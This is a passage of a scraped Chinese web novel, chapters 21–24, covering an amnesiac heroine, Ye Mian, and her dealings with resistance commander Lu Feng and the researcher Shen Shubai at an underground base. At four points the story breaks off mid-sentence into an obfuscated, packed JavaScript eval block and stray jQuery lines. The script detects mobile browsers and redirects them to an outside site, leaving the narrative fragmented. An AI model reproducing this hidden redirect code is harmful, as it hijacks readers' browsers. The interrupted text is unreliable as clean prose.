胖子没敢动,陆风站直摸了摸下巴,又说:“虽然这边是地下,但我可以保证空气循环比地上更优秀。餐厅24小时开放,在走廊另一头,有任何需要都可以找那边的服务生。在这里你绝对安全,我只有一个要求:别做不该做的事。”
他伸手去拉叶眠的手腕,叶眠脚下没动。
“跟我一间?”
陆风营造暧昧的时候从不遮掩欲望,永远是大大方方的。这种态度很难让人讨厌,因为分寸把握得很好,也确实给出了拒绝的余地。
叶眠想了想,没再犹豫:“走。”
胖子表情从震惊到不解,再到同情:叶眠伟大,无需多言。
叶眠想得倒是简单很多。
她对陆风有所图谋,自然要拉近距离,何况陆风这个质量,怎么说她也亏不了哇。
21. 第 21 章
叶眠进门,只来得及看清房间是木制装修,眼前天旋地转,人已经被陆风压到了门板上。
她急促地喘了半声,一只手被陆风按在头顶,四目相望,陆风的半张脸藏在墨镜后,但眼神暗得惊人。
陆风一直觉得自己是很有自制力的人,但面对叶绵绵的时候,那种引以为傲的控制力却经常崩到找不着北。
他低头压近,看到她眼角那颗小痣,贴上嘴唇,又轻轻叼住,咬了一下。
属狗的?
叶眠眼皮微动,这人睫毛很长,细细密密地藏起了所有情绪,也藏起了她最喜欢的棕色瞳孔。
“看我。”她命令说。
陆风明显有些迷惑,但还是抬眼与她对视,叶眠趁机把头顶的左手从他掌下抽出,顺路摘了那副从不轻易下脸的墨镜。
“摘了我的眼镜,又要用光晃我吗?”
陆风模糊不清地说着,带着热度的嘴唇再次落到耳侧。叶眠稍稍闭眼,暗自思索:又?用光晃他?
“那,最近好些了吗?”
叶眠声线放柔,左臂自然地环到陆风后颈,牢牢地拿着那副墨镜。右手则带着点眷恋地抚过他的脸颊,拇指蹭到他的眼角,稍微用了点力,把他的脸拉开了一小截。
视线相碰,叶眠再次感叹:好深情的眼睛,像被阳光晒到暖手的漂亮石头。
陆风不习惯地往后退了退,但叶眠一只胳膊还搭在他肩上。她表情温婉,小臂却发力,不许他后撤,轻轻地解释:“刚刚碰到伤口了,有点痛。”
“抱歉。”陆风稍微放下心来,再次拉近距离。
额头微微相贴,两人呼吸交错。
气氛正好,他一只手抬起叶眠下巴,深深地吻下去——然后被叶眠两根手指挡住。
感受到手指压在嘴唇上的微小力气,陆风睁开眼,不出意外地还有八分清明。
“还没回答呢。”叶眠松开左手,举了举墨镜,态度明确。
“老样子。小沈都没办法的事情,我也习惯了,”陆风叹了一声,彻底没了兴趣,“你饿不饿?不饿的话去洗澡吧。”
小沈?
叶眠心里一跳,不知为何第一时间就想起沈舒云。
但沈研究员应该跟反抗军搭不上关系吧,她这个念头一闪即逝。
“等下我给你换药?”陆风贴心地问。
“嗯?没事,不用,过两天就可以拆了,”叶眠客气地拒绝,“我去洗澡。”
等叶眠进了浴室,灯下陆风的表情稍淡,眼中浮现几分思索。
……感觉不太对劲?
-
穿着浴袍出来,面对着三米半的大床,叶眠不客气地占了靠门的一边。
趁陆风进了浴室,她见缝插针地拿出终端问同事哥:“江湖救急!陆风有什么隐疾吗?”
过了一小会儿,回复来了。
白干全白干:“……他不行?”
遇到困难睡大觉:“?”
遇到困难睡大觉:“你怎么回事?”
沈舒白意识到自己是会错意了,立刻端正态度——装傻。
白干全白干:“不知道欸[挠头],但他是不是应该有那种随身医生之类的?你直接去刺探一下医生呗。”
沈舒白心道,要是直接告诉你那我不就暴露身份了。
同时,他也有点纠结:到底要不要告诉“失忆”的叶绵绵?
——陆风的眼睛确实有问题。
以前的叶绵绵是知道的,但现在这个叶绵绵会不会把这项弱点反手告诉法蒙,就不是他能猜到的了。
反抗军和革命党之间势同水火,法蒙人在边境几年仍记挂着“剿匪”,陆风更是在成为指挥使之前就放出过“革命党上位就是第二个联盟”的狠话。
如今能达成微妙的平衡,少不了沈舒白在其中斡旋,只是这活越来越难做,从法蒙回到首都星,两人王不见王,苦的都是下面的小卡拉米——比如沈舒白,比如刘仁。
只能说,还好陆风在反抗军没有军队指挥权,法蒙的大部队也在边境没调回来。
沈舒白烦心地抓了抓头发,一转头又收到导师的催促短信——征稿周期过半,他连选题都没定下来。
淦!
-
“在看什么?”陆风腰间围着浴巾,头发湿着。
叶眠抬眼,就看他发梢的水滴滴答答坠落,像是雕像棱线上缀的珍珠。视线不由自主地被吸引,断续的水痕沿着肌肉|沟壑蜿蜒而下,最终被浴巾边缘吸吮殆尽。
他的胸膛还蒸腾着沐浴后的热气,上身的线条随着呼吸节奏微微起伏。
“我简直要怀疑你是在色诱我了。”叶眠控制不住地提了提嘴角,顺势收起终端。
“这可不太好听,”陆风随手抽出一条新毛巾搓了搓头发,“也不太像你会说的话。”
“嗯哼,”叶眠拍了拍身边床面,“来。”
好像有种古怪的既视感,但陆风没在意。
床面下陷,又回弹些许。
叶眠估摸着,以他这个块头,少说得有个八九十公斤,那浴巾不过短短一条,一蹭就掉,她顺手拉过被子给他盖住半身,规避了没必要的麻烦:“注意保护隐私。”
陆风乐了,有点坏心地伸手,勾住她的浴袍系带,作势要拽:“那你的隐私呢?”
“还以为陆长官是正人君子,”叶眠说着,拍掉他的手,“说正事。”
“陆长官?”陆风眉梢挑高,“不是陆哥了?”
“陆哥?”
叶眠心中暗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224752|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
暗吐槽,同事哥你消息不够到位,小情侣二人转的事完全没涉及啊。
陆风若有若无地“嗯”了一声,捡起叶眠的浴袍系带,放在手中把玩。
“所以,叶绵绵是这么叫你的吗?”叶眠歪着头,平静地问。
“这段时间可能对你造成了一些伤害和打击,”陆风语气和缓,甚至带了点心疼,“但不至于因此否认你的过去,绵绵。”
叶眠心下有数了,嘴上却说:“可如果我忘记了很多事情呢?”
她看不清陆风的表情,但能听到他的声音:“那我就让你再想起来。”
“如果我变了呢?”叶眠不依不饶,“如果我不爱你了呢?”
“说什么傻话,绵绵。”
陆风露出一个无懈可击的微笑,伸手摸了摸她的侧脸。
“我说真的,陆风,”叶眠没动,认认真真地跟他说,“比如现在,我并不认为我是叶绵绵。”
陆风纵容地说:“那你是谁?”
“我是叶眠。”叶眠说。
只是这一个名字,就能看出很多事情。直接改口的护士、狡辩了一下的胖子,完全无视的法蒙……每个人的反应都不一样,因为他们性格迥然。
陆风会怎么回答呢?叶眠有些期待地看着他。
“不开玩笑?”
陆风稍微坐直了一些,紧盯着叶眠这张熟悉的脸,带着点他不熟悉的神情。
“我是叶眠。”她无比认真地说。
可能在某一次呼吸的缝隙里,陆风考虑过叶绵绵从此消失的可能性,但是长久以来的习惯成了他的倚仗。
——他从不轻易动摇。
“好,叶眠,”他语气掺着一半认真,“我会等到你想起作为叶绵绵的那一天。”
有救,但不多。
叶眠放弃挣扎,闭上眼滑进被子里:“睡觉。”
“不做吗?”陆风看到她露在外面的半个绷带头,妥协了,“算了。”
他把叶眠往自己怀里揽了一下,叶眠睁眼,无情把他推开:“自己抱被子去。”
陆风预想里重逢后的翻云覆雨被叶眠轻飘飘挥散了,他委委屈屈地抱了个被子,心想总有一天要把他丢的场子找回来。
可惜,这时的他还不够了解叶眠。对她来说,别人敬我三分,我顺竿上爬五分,一旦错过了最好拿捏她的阶段,就不会再有翻身把歌唱的机会。
陆指挥多年后也感慨,自己太相信过去的情分了,因为固步自封,所以亲手放走了成长期的叶眠,就只能老老实实给她打工后半辈子。
彼时,据星际不知名野史记载:“相传初见时,陆百般蛊惑、媚眼如丝,大帝心悦于此等美目,却抱惜才之心,三顾床头而不入,故而后有十年君臣相和之美说。”
22. 第 22 章
叶眠又做梦了。
再次身处火海中,上次受到的伤害似乎已经被一键刷新,她只隐隐记得异能透支的疲惫,还有铁片划破手掌的触感。
回忆起那段誓言一般的文字,叶眠觉得有点好笑,但又有点动容——若得自由,不死不休。
难道真是我小时候写的?
猫头鹰这个代号,听起来很有她遇到困难睡大觉的风格。
叶眠站在火里一边思索,一边凝出薄薄一层低温冰覆在身上。
她给这里起名为出生点三号。
三次清醒的火灾梦,三个不同的房间。第一次的狭小一些,第二次的像是训练场,这一次则是……食堂?
空无一人但熊熊燃烧的桌椅之间,站着一个摸不着头脑的叶眠。
这到底是哪里?
是我幻想出来的地方,还是真实存在的场所?
桌椅普遍比正常规格矮上三分之一,根据叶眠目测,绝对不是给成年人坐的,不然就得蜷着身体,纯给自己找罪受。
低等教育园区?
低等教育不该有训练室摆着枪架这种东西吧?
叶眠稍微测试了一下安全圈,好消息是,这次半径扩大了二十厘米——她拥有了整整250Π方cm方的自由活动区域,虽然像是在骂她。
但坏消息是,跟似乎没有边际、没有止息的大火比起来,这个安全圈还是太小了。
她眯着眼睛往外看,似乎能从高地火焰中隐约看到打饭的窗口。
窗口高度也为了适应小孩子的身高所以压低了一些,叶眠想起在手术台上苏醒的那片刻里,火灾中的三个小孩与幼年的自己。
太真实了。
她越发确信,这里不是源自某种幻想、而是托生于自己的记忆了。
顺着这个可能性继续思考,如果这片建筑是真实存在于记忆中的,那这场大火、死在火灾里的三个孩子,是不是也都是真实发生过的?
那三个孩子……叶眠稍微皱眉,捂了捂自己胸口。
有些酸胀的情绪在涌动,很陌生,但又有些似曾相识。
挨过了那一阵不适,叶眠想:既然能找到猫头鹰的铁片,那可能还会有别的铁片藏在这片大火之下。
如果想查那三个孩子的身份,可以从他们的代号入手,说不定会有发现。
只不过,或许因为猫头鹰的铁片是自己亲手放下的,所以直觉会提醒出那个位置,而其他孩子藏铁片的位置,大概就不会这么好找了。
叶眠定了定神,抬手加厚了身上的冰层。
还能怎么办?
她又没法手动结束这场梦境,反正有这工夫,异能不练白不练。
试试再说。
新凝出的冰比旧冰温度似乎更低一些,叶眠摸了摸下巴,觉得自己实在进步神速。
不愧是我!
-
在安全圈附近找了一夜,一无所获。醒来的时候,叶眠身边已经没人了。她懒洋洋地摸了摸被子,连余温都没有,陆指挥一早上就不知道干嘛去了。
看了眼终端,她这才发现已经中午了。昨天睡得早,这一觉睡了得有十六七个小时,叶眠整了整松松垮垮的浴袍,把卷在里面的手枪抖出来后,伸了个懒腰。
陆指挥还算绅士,没有动手动脚,趁他不在,可不得好好探查一番?
打开衣柜,入目一排花衬衣,叶眠无语地翻了翻,却在衣柜后面看到了一个控制板。
她来了点兴趣,花了五分钟研究完毕,顺利启动衣柜机关。
衣柜内部稳稳旋转,第二个柜格出现——一柜子正装,黑灰蓝白,纯色衬衣按颜色整齐地码在侧面。
哇塞,奇迹陆风。
叶眠再次启动机关,第三个柜格里是各式各样的作战服,但没有配备武器。
终端震动,叶眠看了一眼。
陆风:“又在玩衣柜?”
遇到困难睡大觉:“那咋了?”
陆风:“玩玩玩,女装在第七格[笑脸]。”
遇到困难睡大觉:“是给我的,还是你平常自己穿的?”
陆风:“?”
叶眠心满意足地收了终端,把衣柜调到第七格。
看衣服的码数,应该不是陆风给他自己准备的。不知道为什么心里有点可惜,叶眠摸了摸下巴。
陆风这里甚至配备了专门的化妆间,叶眠也进去兜了一圈。
各色假毛面具、束身底衣,叶眠翻了一圈,就是没看到假眼珠子。
陆风不带假眼珠子?她不由联想到他从不下脸的墨镜,稍微多想了一点——如果陆风的棕色眼珠是假的,那她应该会有点伤心。
选了顶帽子,轻快地走出房间,叶眠敲了敲102的房门。
胖子把门打开条缝,看到是她才松了口气。
“昨天没睡好?”叶眠问。
胖子喊冤:“姐,眠姐,这是反抗军大本营,跟你一个床睡的是指挥使,跟我隔壁的也不一定是什么情报贩子,很恐怖的好吧!”
叶眠倒是没觉得有什么:“陆风都说了保你平安,别怕,我们吃饭去。”
胖子立刻精神了点:“哎,这好。”
两人踩着深色的地毯一路走到餐厅大门。
餐厅的入口标牌旁边还有一行小字:“如需乘坐电梯,请联系服务生。”
餐厅很朴素,饭菜更朴素,叶眠一言难尽地挑起一颗软趴趴的绿色椭圆形蔬菜叶:“胖子,你觉得这个好吃吗?”
“油菜BHK176版,我看到菜品名下面的成分注解了,你就吃吧,一吃一个不吱声,”胖子的脸几乎要埋到饭碗里,“苦味指标降了80%,究极成功的作品。”
叶眠艰难地把菜叶塞到嘴里——监狱内的泔水饭菜打两分,它能拿个五分。
满分是一百。
“我不行了,胖子,”叶眠放下筷子,“我把你从C监捞出来是这辈子做得最正确的决定,给我整个面包吃吧,谢谢你,伟大的法格里布。”
“喔喔,”胖子闭眼打了个响指,凌空一个面包落入他掌心,“边吃饭边用异能感觉像是在……”
“嘘,”叶眠虔诚地请他闭嘴,“答应我,不要在吃饭的时候说那么影响食欲的话。”
面包有点咸,但比那个烂菜叶子好吃多了。
“你家营养液会比这个好吃是吧?”感
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224753|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
受着熟悉的麦香和稍微有点艮揪的口感,叶眠问。
“会的,”胖子又去盛了一碗饭,“不过我感觉,面包不如这个清炒油菜BHK176好吃。”
“你的味蕾已经被驯化了,”叶眠教育他,然后又想起一点问题,“那你做的这个面包原料是什么?”
“我家里人研究过这个问题,大概是初版小麦吧,现在早就绝迹了。”胖子无所谓地说。
“你没考虑过靠这个赚钱吗?”叶眠财思敏捷,“炒作一下,初版小麦面包,每天限量供应。”
胖子却摇了摇头:“我控制不了它的口味大小质量,过不了粮食部的食品检疫。”
“粮食部?”叶眠第一次听说这个部门。
“嗯,营养液的法案也是粮食部提的,”胖子情绪低落,“伊斯坦想当粮食大臣。”
叶眠安慰他:“等我统一星系,封你为帝国第一粮食大王。”
胖子眼神逐渐变得诡异:“现在就开始安排封狼居胥?”
叶眠煞有介事:“做事要有提前量。”
-
饭后叶眠屡劝无效,胖子坚定地说要回房间。
“我宁愿在房间里玩终端也不要在……”他贼眉鼠眼地瞟向左右无人,“反抗军窝子里,乱转。”
“我也是反抗军啊。”叶眠理所当然地说。
胖子头摇成拨浪鼓。
“好吧。”
叶眠有些遗憾地独自上路。在餐厅转了一圈,她找到了传说中的服务生,却发现这人跟商场那个调酒师长得一模一样。
影分身术?
叶眠好奇地多看了他两眼。
人脸识别仪对着她的脸从上到下扫过一遍:“二级权限识别通过,欢迎回家。”
调酒师面无表情地收起识别仪:“叶女士要去哪层?”
“训练场,”叶眠礼貌地说,“谢谢。”
调酒师朝侧面让了让,叶眠走进他身后的电梯间。
“一路顺风。”调酒师微微点头。
电梯也要……妈!
妈妈妈妈妈妈妈妈!
飓风裹挟着电梯间飞速升高,直冲电梯井!叶眠被一瞬间产生的巨大冲击力拍到地板上,只能用双手撑住勉强没摔着脸,甚至没能第一时间站起来。
等狂风止息、电梯停稳,她才艰难地直起身,拍了拍身上的土,安详地想:哈哈,你们反抗军真有意思。
可能又是谁的异能吧?整座地下基地似乎都是靠各种各样异能维持运转的,叶眠看了眼终端,陆风几分钟前说在训练场等她。
电梯打开,叶眠面对着的,是一扇同样的双开门,上面挂着同样的锁。
她摸了摸下巴,然后拿起锁,学着陆风的样子,轻弹了一下。
——无事发生。
好吧。
“叶眠,不得不说,你失忆了似乎比失忆前更好玩了。”
门后传来陆风的闷笑,叶眠面无表情地锤了两下门,他才把门打开。
“现在信我是真失忆了?”叶眠抱着手说。
对面陆风今天换了一件印着牡丹的花衬衣,配了条白色西裤,看起来花团锦簇、人模狗样。
23. 第 23 章
“嗯,信了。”陆风笑着说。
电梯和走廊之间有一点高低差,他伸手,叶眠半点没客气,扶着他胳膊登上走廊。
“怎么想的,把基地建得跟酒店一样?”叶眠松手问。
“因为,情报人员之间最好不要有长期接触,”陆风说,“酒店这种形式作为接头的地方再好不过,只要口令通过,何九就会允许进入,也不会因为登记身份暴露。”
何九,喝酒。
是那个会分身的调酒师。
“只有陆指挥在这长住是吧,”叶眠说完眯了眯眼,“还是总统套房。”
“之后这段时间,应该是你跟我一起,”陆风一心哄她,“好不容易能呆在一起,长住不是好事吗?”
好不容易?
就看昨晚这腻歪气氛,再加上叶绵绵又是个纯恋爱脑,能怎么个“不容易”法,还不是你把人当工具使,不出任务的时候才放在身边暖床。
叶眠在心里翻了个大白眼。
“住住住,”她摆摆手,“叫我来训练场干嘛?”
“试试你的环能不能取下来。”陆风伸手,食指勾住她脖子上的禁制环,眼神微动。
正要发力,叶眠毫不犹豫地拍他一爪:“有话说话,别动手动脚,这不是项圈,我也不是你家叶绵绵。”
陆风眼神瞬间清澈,他低头摸了摸浮现红印的手背,脸上露出点不可思议的神色,眉毛一竖。
“要发火?”叶眠捏了捏他梆硬的手臂,“我伤成这样从C监死里逃生都没发火,你支棱什么?”
陆风咬牙。
为了叶绵绵,他忍。
君子报仇十年不晚。
“行,”他放下手,抬步往训练场走,一边问,“能打赢刘勇,没丢人。”
“丢不着你的人,”叶眠说着,语气多了点不解,“你明明什么都知道,为什么不愿意救她一把?”
“她?你?”
陆风每次说到这事,都是语气淡淡,“我是指挥使,我有不能做的事。三个月后指挥使轮届,这段时间里不管落入敌手的是谁,我都不会放手去救。”
懂了。陆指挥爱护羽毛、大公无私。
“我有点替叶绵绵不值。”叶眠想了想,说。
“她就是你,”陆风无动于衷,“我们的感情不会掺进别的东西。”
“你们真有感情吗?”叶眠一边走一边说,“算了,就算有,她也死了。”
陆风猝然止步,她差点一头撞到他肩膀。
“别说这种话,”他沉默了一会儿,没回头,但声音很低,“明明活下来了,就不要再提好不容易逃脱的死局。”
陆风不肯承认,这种提醒给他一种很坏的感觉,就好像他真的做错了事又被人反复鞭尸一样。
对此,叶眠只能用两个词评价。
——掩耳盗铃,猪油蒙心。
训练场很大,地面铺着是深绿色的橡胶。灯光亮到有些刺眼,场地中央有几个沙包半倒不立,旁边站了几个人。
“设备你看着用,可能小沈会过来,有问题可以找他。”
陆风已经恢复如常,二人沿着训练室的墙边走到一半多,他推开一扇没锁的门。
机房的味道扑面而来,叶眠好奇地走了进去。
巨大的显示屏占据了一整面墙壁,紧紧拼凑的操作台刚好到腰部高度。旁边立着几架1:1还原的人体模具,另一侧是几个玻璃隔间,每个隔间中的设备似乎都有所不同。
“一般他们会来这边做人体测试,或者一些电子实验,”陆风站在后面扬了扬下巴,“那边进去是工具屋,你看有什么能用的,随便用。”
如果是三代禁制环,说不定真能通过这些东西解决掉,叶眠心想,法蒙的谨慎也不无道理。
但是她带着禁制环一天,就受制于人一天,自由看似近在咫尺,实则遥不可及。
“唉,最近有没有什么暗杀典狱长的活动?”她想参加一下。
陆风讶然侧目:“法蒙继任C监典狱长没多久,边境三师还没撤退,他人在风口浪尖,安保更是几倍于平常。你对他有想法?”
“嗯,想杀,”叶眠诚实地说,“C监乌烟瘴气,典狱长毫无作为,死罪当诛。”
陆风乐了半天,完全没往别的地方想:“但你能出狱,除了法格里布的活动,也得有他的首肯才行。假释比不上拉米亚纳的无罪释放,但在C监也很难得了。”
假释?原来同事哥是这么解释她脖子上的禁制环的。
工作做得不错哈。
陆风看她半天没讲话,宽慰说:“早晚能脱下来的,你可是我最得力的左右手,出门戴着禁制环算什么样子?”
“不会说话可以不说,”叶眠无语地看他一眼,“这事被你说的,怎么听怎么怪。”
“哼哼。”陆风挑了挑眉毛,突然伸手,一使劲,就把叶眠带到身边。
“不亲,”叶眠瞬间反应,一手捂到他嘴上,冷静出声,“等你什么时候把叶绵绵哄回来再亲。”
陆风十分自信:“行。”
他松手后撤,竟然就这么走了。
叶眠摸了把额头上不存在的虚汗,心想你要是来强的,我还真不一定挡得住你。
陆风,你的绅士人设一定要维持住啊。叶眠真诚地为他祝福。
“咦?有人?指挥刚走……我咳”
来人开口蹦了几个词,看清叶眠的脸,表情微变,瞬间把剩下的话憋了回去。
“你是……?”叶眠心想这声音似曾相识,她打量着来人,第三次想到那句话——你们反抗军的人真有意思。
跟陆风这种身高一米九多的壮汉不同,眼前的白大褂也就一米八几的个子,眉眼清正,不如法蒙刚毅冷漠,不如陆风倜傥深情,但
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224754|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看着很有礼貌,挺顺眼。
介于死气沉沉打工人和阳光开朗学生仔之间的年轻人。
感觉陆风一拳能打八个。
叶眠快速地锐评完毕,脸上露出一个雍容和蔼的微笑。
沈舒白心里大叫孽缘怎么在这碰上,面上控制住五官不要乱飞,勉勉强强地挤出一个笑:“叶女士怎么也在这?”
问完他就想打自己一巴掌。
还能为什么?那根从他这送出去的禁制环还挂在人脖子上呢。
叶眠只觉得这人慌张得可爱,于是和颜悦色地答:“噢,我刚从监狱假释,陆指挥让我看看能不能把禁制环摘了,赶紧做事。”
“哈哈,确实是他的风格,哈哈。”沈舒白干笑。
死一般的沉默延续,叶眠提醒:“所以,你是……?”
“哦哦哦我是小沈,您叫我小沈就行,”沈舒白上前一步抓住叶眠的手,殷勤地晃了晃又立马松开,“我在这边做实验。”
“小沈,”叶眠更有兴趣了,“你跟我一个朋友长得很像。”
谁?
沈舒云?
你们已经是朋友了?
沈舒白心中大惊失色。
他脑筋飞转,瞬间想起之前那个双赢的主意,稍微缓了口气,殷切地说:“确实总有人说我大众脸哈哈,对了有什么我可以帮您的吗?”
“我这根环跟三代有点不同,怕这里的工具都起不到什么作用,你看有什么办法吗?”叶眠笑眯眯地说。
“有的女士有的,”沈舒白飞快点头,“您先这边坐,我连到仪器上看一下指标。”
叶眠由他操作,沈舒白站在她旁边,僵着身体弯腰在显示屏前,十指飞舞地输入指令。
“小沈,你看起来好像有点热?”叶眠问,顺手从操作台一边抽了张纸巾,“擦擦?”
“哈哈不用了谢谢叶女士。”沈舒白语速很快,不敢说自己一瞬间想起了叶绵绵送的吊坠。
叶女士的东西能接吗?他哪里敢啊!
叶眠几乎没听清他的用词,她放下手,奇怪地问:“说起来,你姓沈,但沈应该不是全名?”
“这边不太方便透露姓名女士,”沈舒白露出一个有些苍白但坚强的微笑,“您叫我小沈就好,真的。”
眼看叶眠还要问什么的样子,沈舒白暗自祈祷进度条快点,终于,“叮”一声,指标载入完成。
“这样女士我给您解释一下这些指标……”
沈舒白如获至宝地开始背书,叶眠眼看他额头一滴汗,划过脸颊,到下巴,半掉不掉地挂在那。
她抬手用纸一蹭,然后拉开他白大褂口袋,把用完的纸团塞了进去,表情依旧和善:“你继续说,我听着呢。”
……?
沈舒白跟被噎住一样安静下去。
喉头滚动,他心中崩溃:这还让我怎么说!
24. 第 24 章
叶眠兴致盎然,心说还是跟年轻人互动有意思。沈舒白稍微调整了一下呼吸,关掉显示屏,正色道:“叶女士,我不跟您绕圈子。”
叶眠:“嗯哼?”
沈舒白:“……您佩戴的确实不是三代禁制环,是实验室没有对外公开的四代。虽然可以强行破坏,但无法保证其中致命毒素在禁制环断裂时不伤害佩戴者身体,所以我们不能在没有密钥插件的情况下拆卸。”
他语气郑重,叶眠也正经了一些:“那你的意思是?”
沈舒白眼露恳切:“分析结果显示血液中封锁抗体含量过高,我怀疑是四代环中的某种成分跟封锁抗体反应,所以导致了严重异能抵抗。”
叶眠暗自思忖:这不就是沈舒云的说法?
沈舒白哪知道沈舒云朴实地把检测报告同时发给了他们俩,还在假装这里的标准检测仪能查到这么细节的东西:“长期异能抵抗会产生无法预料的后果,如果不处理,您可能要面对永久性失去异能的危险。”
叶眠点点头,沈舒白终于说出自己的目的:“所以,如果您愿意的话,可以跟我合作。这种异能抵抗比较特殊,我正巧缺少课题应付征稿,能做出结果的话……”
叶眠懂了:“你需要我当你的小白鼠?”
沈舒白微汗,急忙解释:“珍贵研究样本可遇不可求,不一样的。”
他表情真挚里透着点紧张,但还是十分期待地看着叶眠。
叶眠想了想,问:“如果解决不了呢?”
……如果解决不了,你没异能我没命。
沈舒白眼神飘了一下,又瞬间坚定:“不会的,我有信心。”
“欸话说,”叶眠不知道想到了什么,眼神一下温柔如水,“小沈啊,你需不需要第二个课题?”
沈舒白眨眼,没理解:“什么?”
“比如,如何在佩戴禁制环的前提下使用异能?”叶眠比真挚的沈舒白更真情实感。
“这不合适……”
沈舒白心中疾呼:怎么能跟老姐对着干啊!这可是要沙头的死罪啊!
“有什么不合适的?”叶眠循循善诱,“你想,咱们反抗军反抗的是谁?”
“联盟啊。”
“那异能实验室,是谁出资支持?”
“联盟啊。”
叶眠一拍操作台:“对呀,所以等你研究出来了禁制环的应对策略,让陆指挥记你大大一功,这是你的责任和机会啊!”
沈舒白:?
为什么有种被威胁的感觉。
他没放弃挣扎:“太难了叶女士,实验室那么多人花了好多年才研究出禁制环,而且迭代到现在,4.0要强度有强度,要机制有机制,要颜值……”看了眼叶眠颈间的黑色choker,他老实得鼻子是鼻子、眼睛是眼睛。
“哎,”叶眠摇摇手,“话是这么说,你的难处我也理解,所以不需要你让我完全恢复自由呀。”
沈舒白:“啊?”
“有能让我释放异能五分钟、十分钟的药也好,”叶眠微微一笑,“毕竟,你也不想让陆指挥知道我们私下做的事情吧?”
她原意指的是拿陆风下属当研究课题的事,不知道沈舒白想到哪里去了,顿在原地,眼神好一阵忽闪。
叶眠眯眼:嗯?
“好吧,好吧,”沈舒白屈服了,“这个不能当明面上的课题,但我会看看能不能做出来靶向药物,如果做不出来……”
“那我就告诉陆指挥。”叶眠接过。
沈舒白:?
忍无可忍,沈舒白勃然微怒地答应了叶眠的条件,又拉着她做了几套检查后就表示自己有事要先行撤退。
脚刚出门,终端一震,他若有所觉地微微一顿,目不斜视地继续踏步离开。
遇到困难睡大觉:“同志,陆风麾下有什么姓沈的文职吗?[笑脸]”
遇到困难睡大觉:“搞科研的,或者是医生?”
遇到困难睡大觉:“想起来了,你不是说,让我找陆风的医生问问他的眼睛吗?就是他吗?”
这边叶眠还记挂着陆风的眼睛,那边沈舒白头上冷汗都要下来了。
白干全白干:“嗯对他医生姓沈。[笑脸]”
遇到困难睡大觉:“可惜可惜,刚好错过,下次见到再问吧。”
沈舒白:别可惜了姑奶奶,你可惜一下结束了,我心惊一下午。
叶眠收了终端,走到工具屋挑挑拣拣。
冷兵器整齐地插在架子上,分门别类一应俱全。热武器大多都在能量不足状态,叶眠抽了一把电磁步枪出来,掂了掂,刚朝墙壁瞄了两下,就听门口传来陆风的声音:“还在这呢?”
她侧脸贴着枪身,轻巧一转,稳稳地瞄住了指挥使眉心,右手食指滑到扳机,虚扣。
陆风双手举起作投降姿势,语气无奈:“这是干什么?沈说禁制环解不开,我特意过来安慰你。”
他一边说,一边往这边走,姿态十分放松。墨镜遮挡了他的视线,但叶眠能感受到自己被牢牢锁定,她持枪不动,身体微微绷紧。
陆风一句话用了五步,下一秒,形势突变!
叶眠根本没看清他是怎么移动的,只感受到一股巨风席卷而来,十几米外的身影已经从原地消失。她瞳孔微缩,在风中下意识眯眼,同时撤步防御,横枪身前预备格挡。
陆风从上方现身,踏出最后一步后,跟叶眠的脸之间只有二十厘米。
俯视的角度撞上叶眠黑眸,他从头到尾都没有要伤害她的意思,只是骤然消失又骤然出现,用极致的速度来到她眼前——然后握住了枪口别向一侧。
“想杀我?”他语气加重,但嘴角却上扬着。
叶眠松开手,电磁枪落到陆风手中。
“如果你想报仇的话,我允许你瞄回来,”她说完就放松身体,表情如常,“如果还是生气的话,我允许你扣一下扳机。”
陆风掀开枪身外板,看到空空的能量槽。叶眠好整以暇地看着他的反应,他轻“啧”一声,还真举枪瞄准。
瞄准镜里叶眠要多无辜有多无辜,陆风手指扣住扳机,缓缓压下。
“砰。”
——他说。
叶眠叹了口气,从他手里重新拿回电磁枪,插回枪架:“你知不知道能量槽显示有时候会有误差?要是里面能量还够一枪,现在我脑袋就四分五裂了。”
战斗意识像刻在身体中一样,射程远近、多少连发、杀伤如何,摸到枪的一瞬间,一切都涌进大脑,根本不需要她回忆思考。
这是叶绵绵留下的东西,一些足够她与
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224755|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
